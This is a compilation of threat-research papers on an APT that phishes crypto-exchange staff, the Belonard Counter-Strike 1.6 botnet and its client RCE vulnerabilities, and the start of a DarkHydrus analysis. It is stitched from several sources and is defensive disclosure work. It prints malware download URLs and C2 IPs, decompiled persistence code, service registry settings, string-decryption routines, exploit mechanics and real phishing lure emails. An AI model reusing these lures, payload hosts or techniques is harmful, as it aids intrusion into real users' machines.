Finally, as they are ready, start the operation. Look for targets, such as cryptocurrency exchange employees, bitcoin enthusiasts. Start by opening conversation through email, with prepared lines like Adams Prize committee. During the conversation they must evaluate the target's value. Only selected targets will be guided to the webpage containing the exploit. There is a blog post about how he was "almost" phished — https://robertheaton.com/2019/06/24/i-was-7-words-away-from-being-spear-phished/. He doesn't understand why the attackers decided to stop communication and not use the trick to show him 'use Firefox' message, but in fact, he was just evaluated out from being target and being exploited.

Hi Rob,

Yeah, it may be a mistake. I'll consult with my colleagues and get back to you shortly.

Best regards, Gregory

This was the last I ever heard from Gregory Harris. I thought nothing more of the exchange.
After the browser exploitation, stage 1 malware will be installed to report user information and download stage 2 malware. Then obviously go for profit.

**Perspective 3 — Blue team**

It already is an old cliché when I say blue team is on a losing game. Being a BT on large corporate, we have too much data to look after. Employees from many countries, huge infrastructure and servers — we even have an AWS-like of our own.

But blue team still has some swords to swing. We can try to detect from infra level — network-based detections. Some solutions offer visibility on HTTPS too. Also, we have access to endpoint products such as EDR/Antivirus, patch management system, and other monitoring tools. We can use honeypots, sandboxes, or service of feeding indicators-of-compromise. We can apply network segregation or air-gapping, authentication, 2FA, desktop virtualization, more & more to add defense layers. We should still remember that we can’t apply everything because it will cut down corp’s productivity.

Some tricks the attackers used give pain points for blue team. The attackers sent attack email to victim’s personal account to avoid mailbox scan. The email was legitimately from cam.ac.uk, just like the link attackers provided. Important communications such as getting the exploit javascript, used HTTPS for connection. Also, the stage 1 and 2 malware binary had very low detection at time of operation — stage1: 1 detection, stage2: 0. They also used diverse services of VPS probably to lower the risk of triggering suspicious communication with an unknown server.

Meanwhile, some of the attacker’s actions were breadcrumbs for blue team. For instance they used curl to download macho binary. This is to avoid triggering Macos Gatekeeper, but it triggered some of the red-flag materials. And most of the servers were IP based communication, and the stage 1 binary was a never-seen-before binary which is suspicious. There were some other indicators&methods that we cannot disclose.
Malware information

The stage 1 malware is a netwire binary. Netwire is a remote administrator tool being sold legitimately online in https://www.worldwiredlabs.com/clients/cart.php?gid=3.

This is an agent builder, so user will input C2 address, type of connection, password, etc to drop a crafted agent executable.

The stage 1 sample we got has a sha256 of 07a4e04ee8b4c8dc0f7507f56dc24db00537d4637afee43d4b9357d4d54f6f4. It was downloaded from hxxp://185.162.131.96/i/IconServicesAgent by the shellcode. It communicates to 89.34.111.113. The C2 communication is analyzed + open-sourced at https://github.com/pan-unit42/public_tools/blob/master/netwire/commands.json but command enums are pretty different from current binary. Ours might be an updated one or a custom RAT.

Based on the commands it receives from the C2 server, the malware will report user/host information, report external IP through checkip.dyndns.org, list process, start shell, search/write/execute file, send heart beat, etc. Below packet capture shows encrypted communication, with commands decrypted.
Discretion in APT: Recent APT attack on crypto exchange employees

Following is the plist file for setting persistence on stage 1 malware.
Stage 2 uses almost same method.

Also it registers signal handler to avoid being stopped.

```
sigprocmask(SIG_SETMASK, &a2, &0);
st_sigaction.sa_mask = &0;
st_sigaction.__sigaction.u.__sa_handler = execute_myself;
st_sigaction.sa_flags = 64;
sigaction(SIGSEGV, &st_sigaction, &0);
sigaction(SIGILL, &st_sigaction, &0);
sigaction(SIGBUS, &st_sigaction, &0);
sigaction(SIGSYS, &st_sigaction, &0);
sigaction(SIGFPE, &st_sigaction, &0);
sigaction(SIGPIPE, &st_sigaction, &0);
```

The stage 1 malware didn't download stage 2 until the test environment moved to a new network. Not sure if this is a coincidence or they wanted to move away from (our fake) corp network to avoid red flag.

During research I brute-forced the stage 1 hostingwebserver and found variants.

```
http://185.162.131.96/i/195/195  b6f92b20816f23c147445bd5eec86a06
http://185.162.131.96/i/kr       8b2b7537c792ecf24d8ee7b9fbb942f8
http://185.162.131.96/i/kri      5030422b3428c0f938e3ad03720ca9e8
http://185.162.131.96/i/pm       70286abc22eca9a9cbea24e551c891cd
http://185.162.131.96/i/pmi      de3a8b1e149312dac5b8584a33c3f3c6
http://185.162.131.96/i/thk      fc99b1407655674573ee4167f1e3dcb6
```

Above files were uploaded to:

- VirusTotal: [https://tinyurl.com/brutedown](https://tinyurl.com/brutedown)
- File share service: [https://tinyurl.com/brutedown2](https://tinyurl.com/brutedown2)

The code is same but has a different set of keys to decrypt strings/C2/etc. And interesting thing is it all uses same RC4 key string of "hyd7u5jd8" to decrypt one string "%Rand%".

Stage 2 malware is built based on QT framework, so the binary is 13MB huge. Building FLIRT signature for multiple versions of OpenSSL, QT libraries could make IDA recognize 20% of the functions, which is not enough.

The C2 server for stage 2's port (443,80) went down soon so dynamic testing on C2 communication is impossible, but we could get what it does via code. It's a typical RAT, with functions for keylogging, recording video, looking for files, etc.

It's a QT based application, so it's supposed to register on Macos Dock but it opts out from it by setting an environment variable (which QT will read).

```
std::string::ctor((signed __int32 **)&tmpstr, "1", -1);
j_setenv("QT_MAC_DISABLE_FOREGROUND_APPLICATION_TRANSFORM", (__int64)&tmpstr);
```
Persistence method is pretty much same.

Connects to C2 server (185.49.69.210 port 443 or 80).

More about the campaign

It looks like this threat actor attacked various financial institutes, cryptocurrency exchanges, etc. There are open analysis on binaries and campaign, but they were close to being "unnamed".

- https://tinyurl.com/firetrend
- https://tinyurl.com/1mertsa
- https://tinyurl.com/2mertsa
- https://tinyurl.com/1exatel
- https://tinyurl.com/lac-coincheck

I could see their favorite method is to hack into university accounts and use the email and webhosting for social engineering.

Following images show another case where they used hacked account of London School of Economics.
My name is [redacted], I work at the London School of Economics.

I am the head of the jury panel of contests organized by The Banker: [http://www.thebanker.com/](http://www.thebanker.com/)

Jury panel consists of representatives of several leading universities and also high-qualification experts from the financial corporates.

Recently, one place in the expert group has become vacant.

We are looking for a consultant that could help us to assess candidates for Islamic Bank of the Year Awards: [http://www.thebanker.com/Awards/Islamic-Bank-of-the-Year-Awards](http://www.thebanker.com/Awards/Islamic-Bank-of-the-Year-Awards)

They must have the experience in banking service and sufficient knowledge at the specifics of the region.

It’s great honor for me to invite you to join our team.

Are you interested in participation?

Best,

The Banker Awards contest is held not the first time. Best scientists of the University College London, University of Miami School of Business Administration and other universities are the main experts. Jury panel is regularly updated. Extended expert group consists of 20 people - there is one vacant place now.

You will have to answer the set of questions regarding nominees of Islamic Bank of the Year Awards. It is essential for more precise assessment of candidates in each nomination.

At the average, it may take about 2-3 hours a week. We provide flexible work hours and remote work opportunities.

In return, you will get the certificate of the honored contest expert, and prospect for further development in this direction.

In next 3 weeks, we will need your assistance. If it goes well, we will proceed cooperation in 2017.

What do you think?

Best,

Foremost, you have to fill out and send me the Expert application form: [http://snyva.bus.miami.edu/~emil/Documents/Application_Form.doc](http://snyva.bus.miami.edu/~emil/Documents/Application_Form.doc)

Further, I will prepare the NDA. After that, I will send you first questions.

Best,

You can notice they use the account’s webhosting service too.

And again, prepare LinkedIn fake account and make it fit to story:
Next is the case where they hacked Angelina college:

Management, Group take-away with dietary preferences

Walter Long <149wlong@student.angelina.edu>
1601/01/01 0:00

Hello,

As discussed on the phone, I’m sending you attached our initial pre-order along with I appreciate if you could confirm receipt of this list.

Thank you,
Walter Long

Also, their favorite VPS looks to be OVH, LeaseWeb. On this attack they used service of OVH, LeaseWeb, King-Servers, QHoster. In the past they have used services of:

- OVH x 6 (occasions)
- LeaseWeb x 6
- King-Servers x 1
- QHoster x 1
- Others (Vultr, netsec.com, HostSailor, etc).

Conclusion

With decent social engineering of hacking university accounts, and being responsive both online and on voice, they combine it with use of 0-day exploits or n-days. They did a great job on managing their malware detection low. Analysis on their previous campaigns show that they are pretty experienced. They don’t have a settled campaign name yet, so there might be more cases that I simply couldn’t search. This actor is very threatening and already has made more damage than most of other APT groups, even state-sponsored ones.
Unrevealing the Architecture Behind the Counter-Strike 1.6 Botnet: Zero-Days and Trojans

Ivan Korolev & Igor G. Zdobnov / Doctor Web

Abstract

When talking about threats in video games, people usually think of account takeover, but there is another danger that is often overlooked by the security specialists. In online gaming there’s a whole industry of underground services for promoting game servers, which often involves illegal methods like infecting game clients.

The Belonard botnet was designed to promote servers in Counter-Strike 1.6. In order to achieve that, the botmaster employed: the Belonard trojan, spread via malicious game server; an infected pirated build of the Counter-Strike 1.6 client distributed online; and exploits of several RCE vulnerabilities inside the Counter-Strike 1.6 client, from which two are zero-days in the official Steam version. His main objective was to create a botnet of CS 1.6 clients where each infected machine would create fake servers that redirect players to the malicious master server.
The Belonard trojan registered a total of 1,951 fake servers, taking 39% of all game servers on Steam. In our presentation, we will disclose the vulnerabilities of the Counter-Strike 1.6 client used by Belonard, uncover its architecture, inside workings and describe the shutdown process.

**Introduction**

The game Counter-Strike 1.6 was released by Valve Corporation back in 2000. Despite its rather considerable age, it still has a large fan base. The number of players using official CS 1.6 clients reaches an average of 20,000 people online, while the overall number of game servers registered on Steam exceeds 5,000. Selling, renting, and promoting game servers is now deemed an actual business, and these services can be purchased on various websites. For example, raising a server’s rank for a week costs about 200 rubles, which is not much, but a large number of buyers make this strategy a rather successful business model.

Many owners of popular game servers also raise money from players by selling various privileges such as protection against bans, access to weapons, etc. Some server owners advertise themselves independently, while others purchase server promotion services from contractors. Having paid for a service, customers often remain oblivious as to how exactly their servers are advertised. As it turned out, the developer nicknamed, “Belonard”, resorted to illegal means of promotion. His server infected the devices of players with a trojan and used their accounts to promote other game servers.

The owner of the malicious server uses the vulnerabilities of the game client and a newly written trojan as a technical foundation for their business. The trojan is to infect players’ devices and download malware to secure the trojan in the system and distribute it to devices of other players. For that, they use Remote Code Execution (RCE) vulnerabilities, two of which have been found in the official game client and four in the pirated one.

Once set up in the system, Trojan.Belonard replaces the list of available game servers in the game client and creates proxies on the infected computer to spread the trojan. As a rule, proxy servers show a lower ping, so other players will see them at the top of the list. By selecting one of them, a player gets redirected to a malicious server where their computer become infected with Trojan. Belonard.

Using this pattern, the developer of the trojan managed to create a botnet that makes up a considerable part of the CS 1.6 game servers. According to our analysts, out of some 5,000 servers available from the official Steam client, 1,951 were created by the Belonard trojan. This is 39% of all game servers. A network of this scale allowed the trojan’s developer to promote other servers for money, adding them to lists of available servers in infected game clients.

**Vulnerabilities used by the trojan**

The official Counter-Strike 1.6 client has four zero-day vulnerabilities, two of which are RCE vulnerabilities, while the pirated version has those and three more. The malicious server chooses to exploit one of them depending on the type of client and several additional factors.
One-days

1) **RCE via the CL_BatchResourceRequest function.**
   When a player connects to a game server, the server might send a list of files that are necessary for the game. The lack of path sanitization in the CL_BatchResourceRequest function allowed for path traversing. This feature was used by malware developers to force game clients to download files to the ".valve/client.dll" directory, which were then automatically loaded next time the game was launched.

2) **RCE via SAV files parsing.**
   The multiplayer mode doesn't typically allow for game saves, but it can still load SAV files as regular files upon the server's command. The bug itself is in a way the game client parses the game saves. Those files might store BSP files, which are extracted when a game save is loaded. The lack of path sanitization in DirectoryExtract function allowed for path traversing. This bug was used to force game clients to extract malicious FileSystem.asi files to the game's root directory.

3) **Client’s system fingerprinting.**
   When connecting to a game server, a client receives a list of necessary files, which includes information about paths and md5-hashes. Then the client verifies its files against the list received from the server and replies with information about matching files and first bytes of their hashes. The lack of path sanitization in CL_BatchResourceRequest function allowed for path traversing. The threat actors were looking for system dll & exe files located in the System32 folder, Steam.exe.

Zero-days

1) **RCE via BMP file parsing.**
   This vulnerability was found in the hw.dll!LoadBMP8() function, which designed for loading the BMP-file of the game map preview. The malicious server sends three files to a client, one of which is a BMP-file that stores the exploit disguised as a map overview file. When parsed, it results in stack overflow, which executes a shellcode command to make the game load the malicious file.

2) **RCE via SAV file parsing (part 1).**
   The game client has a command ".setgamedir", which allows for changing the game's root directory. Combined with another vulnerability it can be used to remotely set the game's root folder to another directory controlled by the attacker. The changes apply after the game is restarted, which malware writers can do remotely.

3) **RCE via SAV file parsing (part 2).**
   This is an updated version of one of the older vulnerabilities. When parsing a SAV file, it is possible to create a directory tree containing an arbitrary file. To exploit this vulnerability, the trojan creates the file <savdir>/cl_dlls/client.dll, then, using the previous vulnerability, it sets the root directory to <savdir> and restarts the client. As a result, the game restarts with the root directory <savdir> and loads cl_dlls / client.dll at startup. Thus, loading the trojan's module.

4) **Execution of game client commands.** A rogue game server can execute console commands to manipulate the game client. Among those commands there are such that can redirect players to other servers, tamper with the game client configs and setup malicious binds in it (i.e. when a player presses a key, it will print some text to the game chat, etc), and trigger dangerous commands (".setgamedir", "restart", etc).
Infection of a client

Trojan.Belonard consists of 11 components and operates under different scenarios, depending on the game client. If the client is licensed, the trojan infects the device using an RCE vulnerability, exploited by the malicious server, and then establishes in the system. A clean pirated client is infected the same way. If a user downloads an infected client from the website of the owner of the malicious server, the trojan’s persistence in the system is ensured after the first launch of the game.
Let us touch upon the process of infecting a client in more detail. A player launches the official Steam client and selects a game server. Upon connecting to a malicious server, it exploits an RCE vulnerability, uploading one of the malicious libraries to a victim’s device. Depending on the type of vulnerability, one of two libraries will be downloaded and executed: client.dll (Trojan.Belonard.1) or Mssv24.asi (Trojan.Belonard.5).

Once on the victim’s device, Trojan.Belonard.1 deletes any .dat files that are in the same directory with the library process file. After that, the malicious library connects to the command and control server, fuztxhus.valve-msru:28445, and sends it an encrypted request to download the file Mp3enc.asi (Trojan.Belonard.2). The server then sends the encrypted file in response.

Installation into the client

Infection of the official or pirated client is performed using the specific feature of the Counter-Strike client. When launched, the game automatically loads any ASI files from the game root. The client downloaded from the website of the trojan’s developer is already infected with Trojan.Belonard.10 (the file name is Mssv36.asi), but it embeds in the client differently than in its clean versions. After installation of an infected client, Trojan.Belonard.10 checks for one of its components in the user’s OS. If there is none, it drops the component from its body and downloads Trojan.Belonard.5 (the file name is Mssv24.asi) into its process memory. Like many other modules, Trojan.Belonard.10 changes the date and time of creation, modification, or access to the file, so that the trojan’s files cannot be found by sorting the contents of the folder by creation date.

After installing a new component, Trojan.Belonard.10 remains in the system and acts as a protector of the client. It filters requests, files, and commands received from other game servers and transfers data about attempted changes to the client to the trojan developer’s server. Trojan.Belonard.5 receives information about the running process and the paths to the module in DllMain. If the process name is not rundll32.exe, it starts a separate thread for subsequent actions. In the running thread, Trojan.Belonard.5 creates the key [HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers] '<path to the executable file process>', assigns it the value "RUNASADMIN", and checks the module name. If it is not "Mssv24.asi", it copies itself in the "Mssv24.asi" module, deletes the version with a different name, and launches Trojan.Belonard.3 (the file name is Mssv16.asi). If the name matches, it immediately downloads and launches the trojan.

Embedment in a clean client is performed by Trojan.Belonard.2. After download, it checks in DllMain the name of the process in which client.dll(Trojan.Belonard.1) is loaded. If it is not rundll32.exe, it creates a thread with the key [HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers] '<path to the executable file process>', assigns it the value "RUNASADMIN", and verifies the contents of the DialogGamePage.res file. Then it sends the collected data to the server of the trojan developer in an encrypted format.

In response, the server sends the Mssv16.asi file,(Trojan.Belonard.3). Meta-information about the new module is saved in the file DialogGamePage.res, while Trojan.Belonard.5 is removed from the user’s device.
Embedding in the system

The process of ensuring persistence in the system starts with Trojan.Belonard.3. Once on the device, it removes Trojan.Belonard.5 and checks the process, in the context of which it runs. If it is not rundll32.exe, it saves two other trojans to %WINDIR%\System32: Trojan.Belonard.7 (the file name is WinDHCP.dll) and Trojan.Belonard.6 (davapi.dll). At the same time, unlike Trojan.Belonard.5, the seventh and sixth ones are stored within the trojan in a disassembled form. The bodies of these two trojans are divided into blocks of 0xFFFC bytes (the last block may be smaller). When saved to disk, the trojan assembles the blocks together to obtain working files.

Having assembled the trojans, Trojan.Belonard.3 creates a WinDHCP service to run WinDHCP.dll (Trojan.Belonard.7) in the context of svchost.exe. Depending on language settings, the OS uses texts in Russian or English to set service parameters.

WinDHCP service parameters:

- **Service name**: “Windows DHCP Service” or “Служба Windows DHCP”;
- **Description**: “Windows Dynamic Host Configuration Protocol Service” or “Служба протокола динамической настройки узла Windows”;
- **The ImagePath parameter** is specified as “%SystemRoot%\System32\svchost.exe -k netsvcs”, while ServiceDll specifies the path to the trojan library.

After that, Trojan.Belonard.3 regularly checks if the WinDHCP service is running. If it is not running, it reinstall the service.

Trojan.Belonard.7 is WinDHCP.dll with a ServiceMain export, installed on the infected device by an autorun service. Its purpose is to check the “Tag” parameter in the registry of the key “HKLM\SYSTEM\CurrentControlSet\Services\WinDHCP”. If it is set to 0, Trojan.Belonard.7 loads the davapi.dll library (Trojan.Belonard.6) and calls its export, passing a pointer as an argument to a SERVICE_STATUS, which reflects the status of the WinDHCP service. Then it waits for 1 second and checks the “Tag” parameter once more. If the value does not match 0, Trojan.Belonard.7 loads the spwinres.dll library (Trojan.Belonard.4), which is an older version of Trojan.Belonard.6. After that, it calls spwinres.dll's exported function, passing a pointer as an argument to a SERVICE_STATUS, which reflects the status of the WinDHCP service. The trojan repeats these actions every second.

WinDHCP service parameters from our customer's report:

```xml
<RegistryKey Name="WinDHCP" Subkeys="1" Values="11">
    <RegistryKey Name="Parameters" Subkeys="0" Values="1">
        <RegistryValue Name="ServiceDll" Type="REG_EXPAND_SZ" SizeInBytes="68" Value="%SystemRoot%\system32\WinDHCP.dll" />
    </RegistryKey>
    <RegistryValue Name="Type" Type="REG_DWORD" Value="32" />
    <RegistryValue Name="Start" Type="REG_DWORD" Value="2" />
    <RegistryValue Name="ErrorControl" Type="REG_DWORD" Value="0" />
    <RegistryValue Name="ImagePath" Type="REG_EXPAND_SZ" SizeInBytes="90" Value="%SystemRoot%\System32\svchost.exe -k netsvcs" />
    <RegistryValue Name="DisplayName" Type="REG_SZ" Value="Служба Windows DHCP" />
    <RegistryValue Name="ObjectName" Type="REG_SZ" Value="LocalSystem" />
    <RegistryValue Name="Description" Type="REG_SZ" Value="Служба протокола динамической настройки узла Windows" />
    <RegistryValue Name="Tag" Type="REG_DWORD" Value="0" />
</RegistryKey>
```
Before the startup of all functions, Trojan.Belonard.6 checks the "Tag" and "Data" parameters in the WinDHCP service registry. The "Data" parameter must contain an array of bytes used to generate the AES key. If there is none, the trojan uses the openssl library to generate 32 random bytes, which will later be used to generate the encryption key. After that, the trojan reads the "Info" and "Scheme" parameters of the WinDHCP service. In "Scheme", the trojan stores 4 parameters, encrypted with AES. "Info" stores the SHA256 hash of the list of installed programs.

Having collected this data, Trojan.Belonard.6 decrypts the address of the C&C server — oihcyenw.valve-ms[.]ru — and tries to establish a connection. If it fails, the trojan uses DGA to generate domains in the .ru zone. However, an error in the domain generation code prevents the algorithm from creating the domains intended for the trojan developer.

```
 movsx eax, byte ptr [eax]
 mov esi, 26
 cdq
 lodsb esi
 mov al, byte ptr abcd123456789[edx] ; "abcd123456789"
 mov [ecx], al
```

The DGA uses SHA256 hash of the second DWORD in the "Scheme" parameter of the WinDHCP service. However, there's an error in code: signed integer division is used instead of unsigned division. As a result, negative numbers may appear in the edx, which lead to the use of characters outside of the alphabet. As a result, 22 out of 100 generated domain names had illegal characters and the rest 78 were not planned by the developers.

After sending the encrypted information, the trojan receives a response from the server, decrypts it and saves the transferred files to %WINDIR%\System32. This data contains the trojans wmcodecs.dll (Trojan.Belonard.8) and ssdp32.dll (Trojan.Belonard.9).

Apart from the above functions, Trojan.Belonard.6 also triggers the following actions at random intervals:

- Search for running Counter-Strike clients;
- Launch of Trojan.Belonard.9;
- Connecting to the developer's server.

Periods can be changed at the command from the C&C server.
Payload and distribution

Belonard also embeds in new game clients installed on the device. This is performed by Trojan.Belonard.8 and Trojan.Belonard.6.

Trojan.Belonard.8 initializes a container with data about Counter-Strike 1.6 client file names and their SHA256 hashes. Trojan.Belonard.6 starts to search for installed game clients. If the trojan finds a running client, it checks the list of files and their SHA256 hashes against the data received from Trojan.Belonard.8. If it does not match, Trojan.Belonard.8 ends the clean client process, and then drops the file hl.exe to the game directory. This file is only needed to display the following error message upon loading the game “Could not load game. Please try again at a later time.” This allows the trojan to gain time for replacing the files of the client. When it is done, the trojan replaces hl.exe with a working file and the game starts without an error. Depending on the OS language settings, the trojan downloads English or Russian game menu files.

Modifications to client the game contain files of Trojan.Belonard.10, as well as an advertisement of the trojan developer's websites. When a player starts the game, their nickname will change to the address of the website where an infected game client can be downloaded, while the game menu will show a link to the VKontakte (Russian social network) CS 1.6 community with more than 11,500 subscribers.

The trojan's payload is to emulate a number of fake game servers on the user's device. To do this, the trojan transfers information about the game client to the developer’s server and receives encrypted parameters for creating fake servers in response.

```c
#pragma pack(push,1)
struct fake_srv_params
{
    DWORD steamappid;
    DWORD steamapi_param;
    unsigned __int16 num_of_fake_servers;
    unsigned __int16 game_srv_low_port;
    DWORD sleep_delay;
    unsigned __int16 fakesrvbatch;
    DWORD SrvQueryAnsDelay;
    DWORD rnd_data_update_interval;
    DWORD min_param_value;
    DWORD max_param_value;
    unsigned __int8 min_players_on_server;
    unsigned __int8 max_players_on_server;
    unsigned __int8 max_players_on_server_for_naming;
    unsigned __int8 max_players_on_server_for_naming;
    DWORD min_player_kills;
    DWORD max_player_kills;
    DWORD min_player_uptime;
    DWORD max_player_uptime;
    DWORD uptimeimi;
    DWORD check_period;
    char szGameName[];
    char szProtocolVersion[];
    char szServerName[];
};
#pragma pack(pop)```
Trojan.Belonard.9 creates proxy game servers and registers them with the Steam API. Game server ports are defined sequentially from the lowest value of game_srv_low_port specified by the server. The server also sets the value for fakesrvbatch, which determines the number of protocol emulator threads. The emulator supports basic requests to a Goldsource engine game server: A2S_INFO, A2S_PLAYER, A2A_PING, receiving the "challenge steam/non-steam client" request, as well as the "connect" command of the Counter-Strike client. After responding to the "connect" command, the trojan tracks the first and the second packet from the client.

After exchanging packets, the trojan sends the last packet, svc_director, with a DRC_CMD_STUFFTEXT type of message, which enables the execution of arbitrary commands from the Counter-Strike client. This issue has been known to Valve since 2014 and has not been fixed yet. Thus, attempting to connect to the game proxy server, the player will be redirected to the malicious server. After that, the trojan developer will be able to exploit the vulnerabilities of the user's game client to install Trojan.Belonard.

It is worth mentioning that Trojan.Belonard.9 contains a bug, which allows us to detect fake game servers, created by the trojan. Moreover, some of those servers can be identified by the name: in the "Game" column, the fake server will have a string "Counter-Strike n", where n can be a number from 1 to 3.
Another way to detect a fake server is to look how it responds to some of the commands: unlike game clients, fake servers will respond with same hardcoded values. For example, for the "getchallenge steam" command the client's response will look like:

```
\xff\xff\xff\xffA00000000 <challenge> 3 <steamid> <secure>\n```

Where <challenge> is a random value, <steamid> is the SteamID associated with the server, and <secure> is a flag for servers that use anti-cheat protection (i.e. VAC protected).

Belonard's fake servers always reply with the hardcoded value:

```
\xff\xff\xff\xffA00000000 629446400 3 1 0\n```

**Encryption**

Belonard uses encryption to store data in the trojan and communicate with the server. It stores the encrypted name of the C&C server, as well as some lines of code and library names. There is one encryption algorithm with different constants for individual modules of the trojan. The older versions of the trojan used another algorithm to encrypt lines of code.

Decryption algorithm in Trojan.Belonard.2:

```python
def decrypt(d):
    s = ''
    c = ord(d[0])
    for i in range(len(d)-1):
        c = (ord(d[i+1]) + 0xe2*c - 0x2f*ord(d[i]) - 0x58) & 0xff
        s += chr(c)
    return res
```

Decryption algorithm from the older versions:

```python
def decrypt(data):
    s = 'f'
    for i in range(0,len(data)-1):
        s += chr((ord(s[i]) + ord(data[i]))&0xff)
    print s
```

Belonard uses a more sophisticated encryption to exchange data with the command and control server. Before sending the information to the server, the trojan turns it into a different structure for each module. Collected data is encrypted by RSA using the public key stored within the malware. However, it must be mentioned that RSA is used for encryption of first 342 bytes of data only. If a module sends a packet of data larger than 342 bytes, only this much will be encrypted by RSA, the rest of the data will be encrypted by AES. The data for AES key is stored in a part, encrypted by RSA key, along with the data needed for generating AES key, which is used by C&C server for encrypting its answers.

Then, after a zero byte added at the beginning of the packet, the data is sent to the C&C server. To which the server replies with an encrypted packet that contains information about the size of the payload and its SHA256 hash in its header, which is needed to be verified against the AES key.
The server may reply with:

```c
#pragma pack(push,1)
struct st_payload
{
    _BYTE hash1[32];
    _DWORD totalsize;
    _BYTE hash2[32];
    _DWORD dword44;
    _DWORD dword48;
    _DWORD dword4c;
    _WORD word50;
    char payload_name[];
    _BYTE payload_sha256[32];
    _DWORD payload_size;
    _BYTE payload_data[payload_size];
}
#pragma pack(pop)
```

Decryption is performed with AES in a CFB mode with a block size of 128 bits and the key sent earlier to the server. The first 36 bytes of data are decrypted first, including the last DWORD value that shows the actual payload with the header. The DWORD value adds to the AES key and is hashed using SHA256. The resulting hash must match the first 32 decrypted bytes. The rest of the received data is decrypted only after this.

### Botnet shutdown

As soon as the threat was known to us, we informed the Valve Company about it and provided a full report on existing vulnerabilities. After notifying the vendor, we suspended the delegation of the domain names used by the malware developer with the help of domain name registrars. Beyond that, Dr.Web's virus database was updated with entries to detect all the Belonard components.

Since redirection from a fake game server to the malicious one happened via a domain name, CS 1.6 players were no longer in danger of connecting to the malicious server and getting infected by the Belonard trojan. This interrupted work of almost all the components of the malware.

The modules that switched to DGA were monitored as well. We established a sinkhole server and started gathering statistics. The botmaster took several countermeasures: he continuously registered new domain names from different registrars; widened the range on TLDs used in DGA and found relative success with the “xyz” TLD (the registrar ignored abuse reports); moved his servers to the USA and then Europe. It didn't work for him well enough since all the hosting providers we contacted were responsive to abuse reports from us.

This continued until the Valve Corporation finally patched the vulnerabilities; and on 21.03.2019, the botmaster officially announced on forums the shutdown of his services.
Some statistics gathered by our sinkhole server:

- a total number of registered bots was around ~35k;
- the highest amount of bots per day was 503 (on March 23th);
- the number of bots decreased severely, but we still see more than 100 bots connected daily;
- the most affected countries are — Russia, Ukraine, Belarus, and Kazakhstan.

Indicators of compromise
Into the Land of Dark (Hydrus)

Lokesh Janakiraman & Raja Babu Annamalai / K7 Computing

Abstract

“Technology is, of course, a double-edged sword” — Jason Silva

Very true; a fence protects, but at the same time can imprison the fenced. Cybersecurity is no exception. Almost every security researcher would have faced situations where legitimate open-source tools/applications developed for routine activities have been put to “good use” by cybercriminals, especially in targeted attacks. Contextual generic detections of such modified tools help researchers piece together an attack during forensic examinations of incidents, allowing an insight into the adversary’s arsenal.

We recently analysed an attachment in a spear-phishing email which had an intriguing title and content tantalizingly customized to reflect the current political and economic affairs in Asian countries, and even written in the targets’ native tongue. Little did we realise that this would lead us to the online den of DarkHydrus, one of many, perhaps.

Lokesh Janakiraman graduated from Anna University Chennai with a bachelor’s degree in Computer Science Engineering. He started his career in 2016 as a Threat Researcher at K7 Computing’s Threat Control Lab. He is responsible for maintaining active detections of prevalent malware (generic/heuristic/behavioral methods) and handling client escalations. His dissection of various malware are detailed on K7 Threat Control Lab’s technical blog page. He likes staying in shape, touring on his motorcycle which he also likes to tinker and tweak in his garage.

Raja Babu Annamalai holds a Master’s degree in computer applications from the University of Madras. Starting his career in 2008 as a malware analyst at Comodo, he joined K7 Computing’s Threat Control Lab as a Threat Researcher in 2010 and is currently working as Research Team Lead. His primary responsibilities include in-depth malware analysis, developing automated systems and training new researchers. He has co-authored a paper for AVAR 2013 and presented at AVAR 2017 and AVAR 2018. In his free time he likes to watch movies, cook and spend time with his family.
But even sophisticated threat actors can and do make grave errors. Our analysis suggests that this gang happened to stumble upon a vulnerable server and used it as a part of their infrastructure to host/distribute their wares, without noticing that it had an open directory listing that allows the download of all files without any special access requests or restrictions. And, of course, we did precisely that.

This paper will cover the end-to-end TTPs (Tactics, Techniques and Procedures) used in the DarkHydrus kill chain which includes building infrastructure using Http Web Server 2.3 for hosting files, spear-phishing documents weaponized with macros and use of decoy documents, low-level deconstruction (including anti-analysis techniques and obfuscation) of different avatars of modules delivering a Cobalt Strike Beacon, Malleable C2 and use of Google Drive for C2 communication to fly under the radar, use of the BadUSBproject from GitHub in the credential-dumping phase (apart from Mimikatz), a DoublePulsar backdoor implant and other paraphernalia like downloader agents and scripts. We will also point out patterns in the techniques used by other threat actors to determine whether criminal synergies are at play.
Introduction

Just as we security researchers rely on publicly available technical sources such as IoCs, blogs, previous campaign research work, etc., to aggregate, interlink and pattern-match the TTPs of various malicious actors, those malicious actors themselves rely on the same public forums to study newer techniques and obtain new tools to improve their technical prowess and maintain their one upmanship over the whitehats.

Open-source code, GitHub packages and readily available online resources used to rebuild binaries, and the tools that have helped researchers and analysts in the past, are now regularly cherry picked by malicious actors as part of their TTPs, be it a simple network enumeration tool or code to check online servers that are susceptible to the latest vulnerabilities. The advantage they savour here is the improved productivity, lower chances of detection and attribution and shorter timeline in staging their operation.

We came across one such interesting malicious operation that was not readily visible earlier. Stemming from our interest in a particular malicious MS-Word file, we collected samples with similar behavioural patterns and then connected all the dots leading to the stalking DarkHydrus. DarkHydrus is a well-known group of threat actors which has been in operation since 2016, and has targeted government agencies and educational institutions in the Middle East for harvesting credentials. From the recent samples we came across, we understood that they are still alive and seeking to expand their operations, apparently eastwards. This group heavily uses open-source tools and custom payloads for their attacks.

Let us jump into the main content of how it all began, how open-source tools and forums help us in the analysis and attribution of malware, and how the same open-source forums and tools help the threat actors in framing the attacks.

How it all began

Case study 1:

Figure 1. Overview of the attack
Our story begins with a regular document submission as depicted in Figure 2, which we thought would use macros and PowerShell to download the payload, but on the contrary it turned out to be an MS Office DDE exploit, which in turn executed a PowerShell command (as depicted in Figure 3) to download the payload which was what led us to writing this paper.

The downloaded list.txt is again a PowerShell script as depicted in Figure 4, which decodes a base64-encoded code snippet and injects it into a remote process (in our case this was one of the Microsoft .NET framework components named csc.exe). The goal of the code snippet was to download Cobalt Strike Beacon to the system from 103.119.44.202/bBrF. We'll refer to this code snippet as "downloader_payload" henceforth. We also believe that this was a testing document because we can also see strings related to calc.exe execution in Figure 3.
Case study 2:

